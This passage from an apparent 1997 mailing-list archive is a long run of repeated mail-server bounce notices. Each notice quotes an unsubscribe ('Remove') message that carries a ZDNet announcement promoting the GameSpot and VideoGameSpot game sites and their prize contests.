if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:06:01 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:06:01 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id da219885; Tue, 25 Feb 1997 17:10:27 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:27 -0500 >Message-Id: <22102719045898 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:06:10 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:06:10 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id oa219844; Tue, 25 Feb 1997 17:09:30 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:30 -0500 >Message-Id: <22093095045851 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:06:13 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:06:13 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ta219849; Tue, 25 Feb 1997 17:09:37 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:37 -0500 >Message-Id: <22093754945856 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:06:17 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:06:17 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id sa219848; Tue, 25 Feb 1997 17:09:36 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:36 -0500 >Message-Id: <22093626745855 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:06:19 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:06:19 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id qa219846; Tue, 25 Feb 1997 17:09:33 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:33 -0500 >Message-Id: <22093348345853 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:06:40 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:06:40 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id xa219853; Tue, 25 Feb 1997 17:09:43 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:43 -0500 >Message-Id: <22094312745860 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:06:55 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:06:55 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id wa219852; Tue, 25 Feb 1997 17:09:41 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:41 -0500 >Message-Id: <22094158545859 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:00 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:00 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id va219851; Tue, 25 Feb 1997 17:09:40 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:40 -0500 >Message-Id: <22094025345858 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:10 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:10 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id za219855; Tue, 25 Feb 1997 17:09:45 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:45 -0500 >Message-Id: <22094576145862 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:13 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:13 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ha219863; Tue, 25 Feb 1997 17:09:56 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:56 -0500 >Message-Id: <22095636645870 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:17 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:17 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ca219858; Tue, 25 Feb 1997 17:09:49 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:49 -0500 >Message-Id: <22094962645865 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:18 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:18 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ga219862; Tue, 25 Feb 1997 17:09:55 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:54 -0500 >Message-Id: <22095495445869 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:20 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:20 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ba219857; Tue, 25 Feb 1997 17:09:48 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:48 -0500 >Message-Id: <22094836545864 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:23 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:23 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ja219865; Tue, 25 Feb 1997 17:09:59 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:09:59 -0500 >Message-Id: <22095905045872 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think >their review stinks? Submit your own and show the world that you're the >real expert! > >And if winning free games or hardware has appeal (not unlike a lemon), >then point old man browser over to these sites, PRONTO!! GameSpot and >VideoGameSpot give away thousands of dollars in prizes every month (almost >$40,000 in February). The contests are simple and fun, and there are >hundreds of winners who could tell you how easy it is to get a free game >in the mail. (Winner! Winner! Chicken Dinner!!) > >To visit the sites, go to the URL's listed below, or link to them from the >ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and >VideoGameSpot! > >. From postmaster at abraxis.com Tue Feb 25 14:07:23 1997 From: postmaster at abraxis.com (NTMail) Date: Tue, 25 Feb 1997 14:07:23 -0800 (PST) Subject: Failed mail Message-ID: --------------------------------------------------------------------- Could not resolve the address "lists.zdnet.com " Please check you have entered the email address correctly. --------------------------------------------------------------------- Your message follows: >Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id wa219878; Tue, 25 Feb 1997 17:10:17 -0500 >Subject: Remove >Date: Tue, 25 Feb 1997 17:10:17 -0500 >Message-Id: <22101743645887 at abraxis.com> > >----------------------------------------------------------------------- >ZDNET ANNOUNCEMENT 2/24/97 >----------------------------------------------------------------------- > >Do you like to play games? No, not those kinds of games! You know, PC or >video games. If the answer is absolutely, sometimes or even just maybe, >then you'll want to check out GameSpot and VideoGameSpot. These are the >hottest, and most fun sites on the Web for information about PC and video >games, bar none! (They are so good, they are now serving as the Games >Channel on ZDNet!) > >GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos, >news, in-depth features, strategy guides, previews, hints and cheats on >all of the latest PC games and hardware. They cover everything from the >most hyper action games to the more sedate, but mind-wrenching puzzle >games, and give you what you need both before you buy a game and after you >bring it home. No one else's online coverage of the PC game industry even >comes close. > >VideoGameSpot (www.videogamespot.com) provides this same information, but >about video games played on the Sega Saturn, Sony Playstation and >Nintendo64 consoles. Of course you can't download a demo of a video game, >so they provide custom quick-time movies to give you a tantalizing taste >of each title. > >Both sites encourage readers to submit their own reviews of games. Think 